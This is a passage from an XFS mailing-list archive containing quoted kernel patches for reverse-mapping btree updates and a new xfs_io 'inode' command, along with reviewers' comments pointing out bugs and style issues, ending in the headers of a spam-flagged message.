-4633,6 +4805,7 @@ xfs_bmapi_write( > } > *nmap = n; > > + free_rcur(&bma.rcur, XFS_BTREE_NOERROR); > /* > * Transform from btree to extents, give it cur. > */ > @@ -4652,6 +4825,7 @@ xfs_bmapi_write( > XFS_IFORK_MAXEXT(ip, whichfork)); > error = 0; > error0: > + free_rcur(&bma.rcur, error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); > /* > * Log everything. Do this after conversion, there's no point in > * logging the extent records if we've converted to btree format. > @@ -4704,7 +4878,8 @@ xfs_bmap_del_extent( > xfs_btree_cur_t *cur, /* if null, not a btree */ > xfs_bmbt_irec_t *del, /* data to remove from extents */ > int *logflagsp, /* inode logging flags */ > - int whichfork) /* data or attr fork */ > + int whichfork, /* data or attr fork */ > + struct xfs_btree_cur *rcur) /* rmap btree */ > { > xfs_filblks_t da_new; /* new delay-alloc indirect blocks */ > xfs_filblks_t da_old; /* old delay-alloc indirect blocks */ > @@ -4822,6 +4997,9 @@ xfs_bmap_del_extent( > XFS_IFORK_NEXT_SET(ip, whichfork, > XFS_IFORK_NEXTENTS(ip, whichfork) - 1); > flags |= XFS_ILOG_CORE; > + error = xfs_rmap_delete(rcur, ip->i_ino, whichfork, &got); > + if (error) > + goto done; > if (!cur) { > flags |= xfs_ilog_fext(whichfork); > break; > @@ -4849,6 +5027,10 @@ xfs_bmap_del_extent( > } > xfs_bmbt_set_startblock(ep, del_endblock); > trace_xfs_bmap_post_update(ip, *idx, state, _THIS_IP_); > + error = xfs_rmap_move(rcur, ip->i_ino, whichfork, > + &got, del->br_blockcount); > + if (error) > + goto done; > if (!cur) { > flags |= xfs_ilog_fext(whichfork); > break; > @@ -4875,6 +5057,10 @@ xfs_bmap_del_extent( > break; > } > trace_xfs_bmap_post_update(ip, *idx, state, _THIS_IP_); > + error = xfs_rmap_resize(rcur, ip->i_ino, whichfork, > + &got, -del->br_blockcount); > + if (error) > + goto done; > if (!cur) { > flags |= xfs_ilog_fext(whichfork); > break; > @@ -4900,6 +5086,15 @@ xfs_bmap_del_extent( > if (!delay) { > new.br_startblock = del_endblock; > flags |= XFS_ILOG_CORE; > + error = xfs_rmap_resize(rcur, ip->i_ino, > + whichfork, &got, > + temp - got.br_blockcount); > + if (error) > + goto done; > + error = xfs_rmap_insert(rcur, ip->i_ino, > + whichfork, &new); > + if (error) > + goto done; > if (cur) { > if ((error = xfs_bmbt_update(cur, > got.br_startoff, > @@ -5052,6 +5247,7 @@ xfs_bunmapi( > int wasdel; /* was a delayed alloc extent */ > int whichfork; /* data or attribute fork */ > xfs_fsblock_t sum; > + struct xfs_btree_cur *rcur = NULL; /* rmap btree */ > > trace_xfs_bunmap(ip, bno, len, flags, _RET_IP_); > > @@ -5136,6 +5332,11 @@ xfs_bunmapi( > got.br_startoff + got.br_blockcount - 1); > if (bno < start) > break; > + > + error = alloc_rcur(mp, tp, &rcur, got.br_startblock); > + if (error) > + goto error0; > + > /* > * Then deal with the (possibly delayed) allocated space > * we found. > @@ -5195,7 +5396,7 @@ xfs_bunmapi( > del.br_state = XFS_EXT_UNWRITTEN; > error = xfs_bmap_add_extent_unwritten_real(tp, ip, > &lastx, &cur, &del, firstblock, flist, > - &logflags); > + &logflags, rcur); > if (error) > goto error0; > goto nodelete; > @@ -5253,7 +5454,8 @@ xfs_bunmapi( > lastx--; > error = xfs_bmap_add_extent_unwritten_real(tp, > ip, &lastx, &cur, &prev, > - firstblock, flist, &logflags); > + firstblock, flist, &logflags, > + rcur); > if (error) > goto error0; > goto nodelete; > @@ -5262,7 +5464,8 @@ xfs_bunmapi( > del.br_state = XFS_EXT_UNWRITTEN; > error = xfs_bmap_add_extent_unwritten_real(tp, > ip, &lastx, &cur, &del, > - firstblock, flist, &logflags); > + firstblock, flist, &logflags, > + rcur); > if (error) > goto error0; > goto nodelete; > @@ -5315,7 +5518,7 @@ xfs_bunmapi( > goto error0; > } > error = xfs_bmap_del_extent(ip, tp, &lastx, flist, cur, &del, > - &tmp_logflags, whichfork); > + &tmp_logflags, whichfork, rcur); > logflags |= tmp_logflags; > if (error) > goto error0; > @@ -5339,6 +5542,7 @@ nodelete: > } > *done = bno == (xfs_fileoff_t)-1 || bno < start || lastx < 0; > > + free_rcur(&rcur, XFS_BTREE_NOERROR); > /* > * Convert to a btree if necessary. > */ > @@ -5366,6 +5570,7 @@ nodelete: > */ > error = 0; > error0: > + free_rcur(&rcur, error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); > /* > * Log everything. Do this after conversion, there's no point in > * logging the extent records if we've converted to btree format. > @@ -5438,7 +5643,8 @@ xfs_bmse_merge( > struct xfs_bmbt_rec_host *gotp, /* extent to shift */ > struct xfs_bmbt_rec_host *leftp, /* preceding extent */ > struct xfs_btree_cur *cur, > - int *logflags) /* output */ > + int *logflags, /* output */ > + struct xfs_btree_cur *rcur) /* rmap btree */ > { > struct xfs_bmbt_irec got; > struct xfs_bmbt_irec left; > @@ -5469,6 +5675,13 @@ xfs_bmse_merge( > XFS_IFORK_NEXT_SET(ip, whichfork, > XFS_IFORK_NEXTENTS(ip, whichfork) - 1); > *logflags |= XFS_ILOG_CORE; > + error = xfs_rmap_resize(rcur, ip->i_ino, whichfork, &left, > + blockcount - left.br_blockcount); > + if (error) > + return error; > + error = xfs_rmap_delete(rcur, ip->i_ino, whichfork, &got); > + if (error) > + return error; > if (!cur) { > *logflags |= XFS_ILOG_DEXT; > return 0; > @@ -5511,7 +5724,8 @@ xfs_bmse_shift_one( > struct xfs_bmbt_rec_host *gotp, > struct xfs_btree_cur *cur, > int *logflags, > - enum shift_direction direction) > + enum shift_direction direction, > + struct xfs_btree_cur *rcur) > { > struct xfs_ifork *ifp; > struct xfs_mount *mp; > @@ -5561,7 +5775,7 @@ xfs_bmse_shift_one( > offset_shift_fsb)) { > return xfs_bmse_merge(ip, whichfork, offset_shift_fsb, > *current_ext, gotp, adj_irecp, > - cur, logflags); > + cur, logflags, rcur); > } > } else { > startoff = got.br_startoff + offset_shift_fsb; > @@ -5598,6 +5812,10 @@ update_current_ext: > (*current_ext)--; > xfs_bmbt_set_startoff(gotp, startoff); > *logflags |= XFS_ILOG_CORE; > + error = xfs_rmap_slide(rcur, ip->i_ino, whichfork, > + &got, startoff - got.br_startoff); > + if (error) > + return error; > if (!cur) { > *logflags |= XFS_ILOG_DEXT; > return 0; > @@ -5649,6 +5867,7 @@ xfs_bmap_shift_extents( > int error = 0; > int whichfork = XFS_DATA_FORK; > int logflags = 0; > + struct xfs_btree_cur *rcur = NULL; > > if (unlikely(XFS_TEST_ERROR( > (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && > @@ -5737,9 +5956,14 @@ xfs_bmap_shift_extents( > } > > while (nexts++ < num_exts) { > + xfs_bmbt_get_all(gotp, &got); > + error = alloc_rcur(mp, tp, &rcur, got.br_startblock); > + if (error) > + return error; > + > error = xfs_bmse_shift_one(ip, whichfork, offset_shift_fsb, > ¤t_ext, gotp, cur, &logflags, > - direction); > + direction, rcur); > if (error) > goto del_cursor; > /* > @@ -5765,6 +5989,7 @@ xfs_bmap_shift_extents( > } > > del_cursor: > + free_rcur(&rcur, error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); > if (cur) > xfs_btree_del_cursor(cur, > error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); > @@ -5801,6 +6026,7 @@ xfs_bmap_split_extent_at( > int error = 0; > int logflags = 0; > int i = 0; > + struct xfs_btree_cur *rcur = NULL; > > if (unlikely(XFS_TEST_ERROR( > (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && > @@ -5895,6 +6121,18 @@ xfs_bmap_split_extent_at( > XFS_WANT_CORRUPTED_GOTO(mp, i == 1, del_cursor); > } > > + /* update rmapbt */ > + error = alloc_rcur(mp, tp, &rcur, new.br_startblock); > + if (error) > + goto del_cursor; > + error = xfs_rmap_resize(rcur, ip->i_ino, whichfork, &got, -gotblkcnt); got is modified by the previous code clause, so this causes incorrect rmap entries to end up in the rmapbt. > + if (error) > + goto del_cursor; > + error = xfs_rmap_insert(rcur, ip->i_ino, whichfork, &new); > + if (error) > + goto del_cursor; > + free_rcur(&rcur, XFS_BTREE_NOERROR); > + > /* > * Convert to a btree if necessary. > */ > @@ -5908,6 +6146,8 @@ xfs_bmap_split_extent_at( > } > > del_cursor: > + free_rcur(&rcur, error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); > + > if (cur) { > cur->bc_private.b.allocated = 0; > xfs_btree_del_cursor(cur, > diff --git a/fs/xfs/libxfs/xfs_bmap.h b/fs/xfs/libxfs/xfs_bmap.h > index 89fa3dd..59f26cf 100644 > --- a/fs/xfs/libxfs/xfs_bmap.h > +++ b/fs/xfs/libxfs/xfs_bmap.h > @@ -56,6 +56,7 @@ struct xfs_bmalloca { > bool aeof; /* allocated space at eof */ > bool conv; /* overwriting unwritten extents */ > int flags; > + struct xfs_btree_cur *rcur; /* rmap btree cursor */ > }; > > /* > diff --git a/fs/xfs/libxfs/xfs_rmap.c b/fs/xfs/libxfs/xfs_rmap.c > index 045f9a7..d821b1a 100644 > --- a/fs/xfs/libxfs/xfs_rmap.c > +++ b/fs/xfs/libxfs/xfs_rmap.c > @@ -563,3 +563,299 @@ out_error: > xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); > return error; > } > + > +/* Encode logical offset for a rmapbt record */ > +STATIC uint64_t > +b2r_off( > + int whichfork, > + xfs_fileoff_t off) > +{ > + uint64_t x; > + > + x = off; > + if (whichfork == XFS_ATTR_FORK) > + x |= XFS_RMAP_OFF_ATTR; > + return x; > +} > + > +/* Encode blockcount for a rmapbt record */ > +STATIC xfs_extlen_t > +b2r_len( > + struct xfs_bmbt_irec *irec) > +{ > + xfs_extlen_t x; > + > + x = irec->br_blockcount; > + if (irec->br_state == XFS_EXT_UNWRITTEN) > + x |= XFS_RMAP_LEN_UNWRITTEN; > + return x; > +} > + > +/* Combine two adjacent rmap extents */ > +int > +xfs_rmap_combine( > + struct xfs_btree_cur *rcur, > + xfs_ino_t ino, > + int whichfork, > + struct xfs_bmbt_irec *LEFT, > + struct xfs_bmbt_irec *RIGHT, > + struct xfs_bmbt_irec *PREV) > +{ > + int error; > + > + if (!rcur) > + return 0; > + > + trace_xfs_rmap_combine(rcur->bc_mp, rcur->bc_private.a.agno, ino, > + whichfork, LEFT, PREV, RIGHT); > + > + /* Delete right rmap */ > + error = xfs_rmapbt_delete(rcur, > + XFS_FSB_TO_AGBNO(rcur->bc_mp, RIGHT->br_startblock), > + b2r_len(RIGHT), ino, > + b2r_off(whichfork, RIGHT->br_startoff)); > + if (error) > + goto done; > + > + /* Delete prev rmap */ > + if (!isnullstartblock(PREV->br_startblock)) { > + error = xfs_rmapbt_delete(rcur, > + XFS_FSB_TO_AGBNO(rcur->bc_mp, > + PREV->br_startblock), > + b2r_len(PREV), ino, > + b2r_off(whichfork, PREV->br_startoff)); > + if (error) > + goto done; > + } > + > + /* Enlarge left rmap */ > + return xfs_rmap_resize(rcur, ino, whichfork, LEFT, > + PREV->br_blockcount + RIGHT->br_blockcount); > +done: > + return error; > +} > + > +/* Extend a left rmap extent */ > +int > +xfs_rmap_lcombine( > + struct xfs_btree_cur *rcur, > + xfs_ino_t ino, > + int whichfork, > + struct xfs_bmbt_irec *LEFT, > + struct xfs_bmbt_irec *PREV) > +{ > + int error; > + > + if (!rcur) > + return 0; > + > + trace_xfs_rmap_lcombine(rcur->bc_mp, rcur->bc_private.a.agno, ino, > + whichfork, LEFT, PREV); > + > + /* Delete prev rmap */ > + if (!isnullstartblock(PREV->br_startblock)) { > + error = xfs_rmapbt_delete(rcur, > + XFS_FSB_TO_AGBNO(rcur->bc_mp, > + PREV->br_startblock), > + b2r_len(PREV), ino, > + b2r_off(whichfork, PREV->br_startoff)); > + if (error) > + goto done; > + } > + > + /* Enlarge left rmap */ > + return xfs_rmap_resize(rcur, ino, whichfork, LEFT, PREV->br_blockcount); > +done: > + return error; > +} > + > +/* Extend a right rmap extent */ > +int > +xfs_rmap_rcombine( > + struct xfs_btree_cur *rcur, > + xfs_ino_t ino, > + int whichfork, > + struct xfs_bmbt_irec *RIGHT, > + struct xfs_bmbt_irec *PREV, > + struct xfs_bmbt_irec *new) > +{ > + int error; > + > + if (!rcur) > + return 0; > + ASSERT(PREV->br_startoff == new->br_startoff); > + > + trace_xfs_rmap_rcombine(rcur->bc_mp, rcur->bc_private.a.agno, ino, > + whichfork, RIGHT, PREV); > + > + /* Delete prev rmap */ > + if (!isnullstartblock(PREV->br_startblock)) { > + error = xfs_rmapbt_delete(rcur, > + XFS_FSB_TO_AGBNO(rcur->bc_mp, > + PREV->br_startblock), > + b2r_len(PREV), ino, > + b2r_off(whichfork, PREV->br_startoff)); > + if (error) > + goto done; > + } > + > + /* Enlarge right rmap */ > + return xfs_rmap_resize(rcur, ino, whichfork, RIGHT, > + -PREV->br_blockcount); The starting point of RIGHT should be moved leftward to the start of PREV, so this is really an xfs_rmap_move(..., -PREV->br_blockcount); --D > +done: > + return error; > +} > + > +/* Insert a rmap extent */ > +int > +xfs_rmap_insert( > + struct xfs_btree_cur *rcur, > + xfs_ino_t ino, > + int whichfork, > + struct xfs_bmbt_irec *new) > +{ > + if (!rcur) > + return 0; > + > + trace_xfs_rmap_insert(rcur->bc_mp, rcur->bc_private.a.agno, ino, > + whichfork, new); > + > + return xfs_rmapbt_insert(rcur, > + XFS_FSB_TO_AGBNO(rcur->bc_mp, new->br_startblock), > + b2r_len(new), ino, > + b2r_off(whichfork, new->br_startoff)); > +} > + > +/* Delete a rmap extent */ > +int > +xfs_rmap_delete( > + struct xfs_btree_cur *rcur, > + xfs_ino_t ino, > + int whichfork, > + struct xfs_bmbt_irec *new) > +{ > + if (!rcur) > + return 0; > + > + trace_xfs_rmap_delete(rcur->bc_mp, rcur->bc_private.a.agno, ino, > + whichfork, new); > + > + return xfs_rmapbt_delete(rcur, > + XFS_FSB_TO_AGBNO(rcur->bc_mp, new->br_startblock), > + b2r_len(new), ino, > + b2r_off(whichfork, new->br_startoff)); > +} > + > +/* Change the start of an rmap */ > +int > +xfs_rmap_move( > + struct xfs_btree_cur *rcur, > + xfs_ino_t ino, > + int whichfork, > + struct xfs_bmbt_irec *PREV, > + long start_adj) > +{ > + int error; > + struct xfs_bmbt_irec irec; > + > + if (!rcur) > + return 0; > + > + trace_xfs_rmap_move(rcur->bc_mp, rcur->bc_private.a.agno, ino, > + whichfork, PREV, start_adj); > + > + /* Delete prev rmap */ > + error = xfs_rmapbt_delete(rcur, > + XFS_FSB_TO_AGBNO(rcur->bc_mp, PREV->br_startblock), > + b2r_len(PREV), ino, > + b2r_off(whichfork, PREV->br_startoff)); > + if (error) > + goto done; > + > + /* Re-add rmap with new start */ > + irec = *PREV; > + irec.br_startblock += start_adj; > + irec.br_startoff += start_adj; > + irec.br_blockcount -= start_adj; > + return xfs_rmapbt_insert(rcur, > + XFS_FSB_TO_AGBNO(rcur->bc_mp, irec.br_startblock), > + b2r_len(&irec), ino, > + b2r_off(whichfork, irec.br_startoff)); > +done: > + return error; > +} > + > +/* Change the logical offset of an rmap */ > +int > +xfs_rmap_slide( > + struct xfs_btree_cur *rcur, > + xfs_ino_t ino, > + int whichfork, > + struct xfs_bmbt_irec *PREV, > + long start_adj) > +{ > + int error; > + > + if (!rcur) > + return 0; > + > + trace_xfs_rmap_slide(rcur->bc_mp, rcur->bc_private.a.agno, ino, > + whichfork, PREV, start_adj); > + > + /* Delete prev rmap */ > + error = xfs_rmapbt_delete(rcur, > + XFS_FSB_TO_AGBNO(rcur->bc_mp, PREV->br_startblock), > + b2r_len(PREV), ino, > + b2r_off(whichfork, PREV->br_startoff)); > + if (error) > + goto done; > + > + /* Re-add rmap with new logical offset */ > + return xfs_rmapbt_insert(rcur, > + XFS_FSB_TO_AGBNO(rcur->bc_mp, PREV->br_startblock), > + b2r_len(PREV), ino, > + b2r_off(whichfork, PREV->br_startoff + start_adj)); > +done: > + return error; > +} > + > +/* Change the size of an rmap */ > +int > +xfs_rmap_resize( > + struct xfs_btree_cur *rcur, > + xfs_ino_t ino, > + int whichfork, > + struct xfs_bmbt_irec *PREV, > + long size_adj) > +{ > + int i; > + int error; > + struct xfs_bmbt_irec irec; > + struct xfs_rmap_irec rrec; > + > + if (!rcur) > + return 0; > + > + trace_xfs_rmap_resize(rcur->bc_mp, rcur->bc_private.a.agno, ino, > + whichfork, PREV, size_adj); > + > + error = xfs_rmap_lookup_eq(rcur, > + XFS_FSB_TO_AGBNO(rcur->bc_mp, PREV->br_startblock), > + b2r_len(PREV), ino, > + b2r_off(whichfork, PREV->br_startoff), &i); > + if (error) > + goto done; > + XFS_WANT_CORRUPTED_GOTO(rcur->bc_mp, i == 1, done); > + error = xfs_rmap_get_rec(rcur, &rrec, &i); > + if (error) > + goto done; > + XFS_WANT_CORRUPTED_GOTO(rcur->bc_mp, i == 1, done); > + irec = *PREV; > + irec.br_blockcount += size_adj; > + rrec.rm_blockcount = b2r_len(&irec); > + error = xfs_rmap_update(rcur, &rrec); > + if (error) > + goto done; > +done: > + return error; > +} > diff --git a/fs/xfs/libxfs/xfs_rmap_btree.h b/fs/xfs/libxfs/xfs_rmap_btree.h > index d7c9722..0131d9a 100644 > --- a/fs/xfs/libxfs/xfs_rmap_btree.h > +++ b/fs/xfs/libxfs/xfs_rmap_btree.h > @@ -68,4 +68,24 @@ int xfs_rmap_free(struct xfs_trans *tp, struct xfs_buf *agbp, > xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len, > struct xfs_owner_info *oinfo); > > +/* functions for updating the rmapbt based on bmbt map/unmap operations */ > +int xfs_rmap_combine(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, > + struct xfs_bmbt_irec *LEFT, struct xfs_bmbt_irec *RIGHT, > + struct xfs_bmbt_irec *PREV); > +int xfs_rmap_lcombine(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, > + struct xfs_bmbt_irec *LEFT, struct xfs_bmbt_irec *PREV); > +int xfs_rmap_rcombine(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, > + struct xfs_bmbt_irec *RIGHT, struct xfs_bmbt_irec *PREV, > + struct xfs_bmbt_irec *new); > +int xfs_rmap_insert(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, > + struct xfs_bmbt_irec *new); > +int xfs_rmap_delete(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, > + struct xfs_bmbt_irec *new); > +int xfs_rmap_move(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, > + struct xfs_bmbt_irec *PREV, long start_adj); > +int xfs_rmap_slide(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, > + struct xfs_bmbt_irec *PREV, long start_adj); > +int xfs_rmap_resize(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, > + struct xfs_bmbt_irec *PREV, long size_adj); > + > #endif /* __XFS_RMAP_BTREE_H__ */ > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Thu Oct 22 09:42:59 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D09777F37 for ; Thu, 22 Oct 2015 09:42:59 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 924EF8F8035 for ; Thu, 22 Oct 2015 07:42:59 -0700 (PDT) X-ASG-Debug-ID: 1445524977-04bdf033091c910001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id uKkauOy9lHlg8sXV (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 22 Oct 2015 07:42:57 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 647D98E675 for ; Thu, 22 Oct 2015 14:42:57 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9MEguK1015983; Thu, 22 Oct 2015 10:42:57 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id B82411201AB; Thu, 22 Oct 2015 10:42:55 -0400 (EDT) Date: Thu, 22 Oct 2015 10:42:55 -0400 From: Brian Foster To: Carlos Maiolino Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs_io: implement 'inode' command V3 Message-ID: <20151022144255.GB13661@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH] xfs_io: implement 'inode' command V3 References: <1445257880-30797-1-git-send-email-cmaiolino@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1445257880-30797-1-git-send-email-cmaiolino@redhat.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445524977 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Oct 19, 2015 at 02:31:20PM +0200, Carlos Maiolino wrote: > Implements a new xfs_io command, named 'inode', which is supposed to be used to > query information about inode's existence and its physical size in the > filesystem. > > Currently supporting three arguments: > -s -- return physical size of the largest inode > -l -- return the largest inode number allocated and used > -n [num] -- Return the next existing inode after [num], even if [num] is not > allocated/used > [num] -- Return if the inode exists or not. > > I didn't send the man page patch because I'm sure I'll get some points to > improve, and I'll write the manpage for the next revision. > > - Changelog > > V3: > - Merge all 3 patches from the V2 together in a single patch > - Rework of '-n [num]' and 'num' only arguments algorithm > - Argument -n now relies on bulkreq.count to check for next inodes, not > on bstat.bs_ino anymore. > - for loop in ret_lsize or ret_largest case, now relies on count being 0 > to break the loop > > Signed-off-by: Carlos Maiolino > --- > io/open.c | 161 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ > 1 file changed, 161 insertions(+) > > diff --git a/io/open.c b/io/open.c > index ac5a5e0..59b5c94 100644 > --- a/io/open.c > +++ b/io/open.c > @@ -20,6 +20,7 @@ > #include "input.h" > #include "init.h" > #include "io.h" > +#include "libxfs.h" > > #ifndef __O_TMPFILE > #if defined __alpha__ > @@ -44,6 +45,7 @@ static cmdinfo_t statfs_cmd; > static cmdinfo_t chproj_cmd; > static cmdinfo_t lsproj_cmd; > static cmdinfo_t extsize_cmd; > +static cmdinfo_t inode_cmd; > static prid_t prid; > static long extsize; > > @@ -750,6 +752,154 @@ statfs_f( > return 0; > } > > +static void > +inode_help(void) > +{ > + printf(_( > +"\n" > +"Query physical information about the inode" > +"\n" > +" -l -- Returns the largest inode number in the filesystem\n" > +" -s -- Returns the physical size (in bits) of the\n" > +" largest inode number in the filesystem\n" > +" -n -- Return the next valid inode after [num]" Missing newline at the end of the above line. > +"[num] Check if the inode [num] exists in the filesystem" I would word this to say check if the filesystem "is used" in the filesystem (or "is linked", or something like that) rather than "exists," simply because this confuses me about whether the inode needs to be physically allocated (in a chunk) or actually in-use by the fs. A quick run of the command suggests that the inode must actually be linked. > +"\n")); > +} > + > +static int > +inode_f( > + int argc, > + char **argv) > +{ > + __s32 count = 0; > + __s32 lastgrp = 0; > + __u64 last = 0; > + __u64 lastino = 0; > + __u64 userino = 0; > + char *p; > + int c; > + int ret_lsize = 0; > + int ret_largest = 0; > + int ret_next = 0; > + struct xfs_inogrp igroup[1024], igrp_rec[1024]; > + struct xfs_fsop_bulkreq bulkreq; > + struct xfs_bstat bstat; > + > + > + while ((c = getopt(argc, argv, "sln:")) != EOF) { > + switch (c) { > + case 's': > + ret_lsize = 1; > + break; > + case 'l': > + ret_largest = 1; > + break; > + case 'n': > + ret_next = 1; > + userino = strtoull(optarg, &p, 10); > + break; > + default: > + return command_usage(&inode_cmd); > + } > + } > + We don't check for invalid combinations anywhere. E.g.: xfs_io -c "inode -l " ... should probably display the command usage, right? I take it the same goes for the '-s' option. Also, since I was playing with it: # ./xfs_io -c "inode -l" /mnt/ Largest inode: 98 # ./xfs_io -c "inode 98" /mnt/ Invalid or non-existent inode number ... what's up with that? ;) FWIW, 98 is one of the internal inodes so perhaps this is just filtered from bulkstat. > + if (((optind < argc) || ret_next) && > + !(ret_lsize || ret_largest)) { > + If we check for invalid combinations as mentioned above, this entire function can look something like this (pseudocode): { ... get_opts(); if (check_cmd_errors()) command_usage(); if (find_largest) { do_find_largest(); printf("Largest inode: (-bit); return 0; } do_bulkstat(); printf("Valid/Next inode: ..."); return 0; } ... and so we can eliminate some indentation. > + /* Setup bulkreq for -n or [num] only */ > + bulkreq.lastip = &last; > + bulkreq.icount = 1; > + bulkreq.ubuffer = &bstat; > + bulkreq.ocount = &count; > + > + if (ret_next) { > + if ((*p != '\0')) { > + printf(_("[num] must be a numeric value\n")); > + exitcode = 1; > + return 0; > + } Indentation of the above is off. > + last = userino; > + if (xfsctl(file->name, file->fd, XFS_IOC_FSBULKSTAT, > + &bulkreq)) { > + if (errno == EINVAL) > + printf(_("Invalid or non-existent inode\n")); > + else > + perror("XFS_IOC_FSBULKSTAT"); > + exitcode = 1; > + return 0; > + } > + > + if (!count) { > + printf(_("There are no further inodes in the filesystem\n")); > + return 0; Indentation. > + } > + > + printf(_("Next inode: %llu\n"), bstat.bs_ino); > + return 0; > + } else { > + userino = strtoull(argv[optind], &p, 10); > + if ((*p != '\0')) { > + printf(_("[num] must be a numeric value\n")); > + exitcode = 1; > + return 0; > + } > + last = userino; > + if (xfsctl(file->name, file->fd, XFS_IOC_FSBULKSTAT_SINGLE, > + &bulkreq)) { > + if (errno == EINVAL) { > + printf(_("Invalid or non-existent inode number\n")); > + } else > + perror("XFS_IOC_FSBULKSTAT_SINGLE"); > + exitcode = 1; > + return 0; > + } > + printf(_("Valid inode: %llu\n"), bstat.bs_ino); > + return 0; > + Both of the above bulkstat cases look quite similar. Could we do something like the following? bulkreq.lastip = ...; /* check userino */ last = userino; if (ret_next) cmd = XFS_IOC_FSBULKSTAT; else cmd = XFS_IOC_FSBULKSTAT_SINGLE; if (xfsctl(...)) { ... } printf("Inode: ...", ...); return 0; > + } > + } > + > + if (ret_lsize || ret_largest) { > + > + bulkreq.lastip = &last; > + bulkreq.icount = 1024; /* User-defined maybe!? */ > + bulkreq.ubuffer = &igroup; > + bulkreq.ocount = &count; > + > + for (;;) { > + > + if (xfsctl(file->name, file->fd, XFS_IOC_FSINUMBERS, > + &bulkreq)) { > + perror("XFS_IOC_FSINUMBERS"); > + exitcode = 1; > + return 0; > + } > + > + if (count == 0) > + break; > + > + lastgrp = count; > + memcpy(igrp_rec, igroup, > + sizeof(struct xfs_inogrp) * 1024); Why keep and copy a separate instance of the entire array when we only care about the last record? It seems to me that igrp_rec could be a single record. > + } > + > + lastgrp--; > + lastino = igrp_rec[lastgrp].xi_startino + > + xfs_highbit64(igrp_rec[lastgrp].xi_allocmask); > + > + if (ret_lsize) > + printf (_("Largest inode size: %d\n"), > + lastino > XFS_MAXINUMBER_32 ? 64 : 32); > + else > + printf(_("Largest inode: %llu\n"), lastino); > + I still don't really get why we have separate -l and -s options here. It seems to me that the behavior of -l already gives us the information that -s does. Even if that's not obvious enough, the -l command could just print out both. For example: "Largest inode: 1234 (32-bit)" Brian > + return 0; > + } > + > + return command_usage(&inode_cmd); > +} > + > void > open_init(void) > { > @@ -815,6 +965,16 @@ open_init(void) > _("get/set preferred extent size (in bytes) for the open file"); > extsize_cmd.help = extsize_help; > > + inode_cmd.name = "inode"; > + inode_cmd.cfunc = inode_f; > + inode_cmd.args = _("[-s | -l | -n] [num]"); > + inode_cmd.argmin = 1; > + inode_cmd.argmax = 2; > + inode_cmd.flags = CMD_NOMAP_OK; > + inode_cmd.oneline = > + _("Query inode number usage in the filesystem"); > + inode_cmd.help = inode_help; > + > add_command(&open_cmd); > add_command(&stat_cmd); > add_command(&close_cmd); > @@ -822,4 +982,5 @@ open_init(void) > add_command(&chproj_cmd); > add_command(&lsproj_cmd); > add_command(&extsize_cmd); > + add_command(&inode_cmd); > } > -- > 2.4.3 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From fax@boyegeometre.fr Thu Oct 22 10:08:21 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.1 required=5.0 tests=FROM_12LTRDOM,LOTS_OF_MONEY, TVD_SUBJ_NUM_OBFU_MINFP,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6CB9E7F37 for ; Thu, 22 Oct 2015 10:08:21 -0500 (CDT) 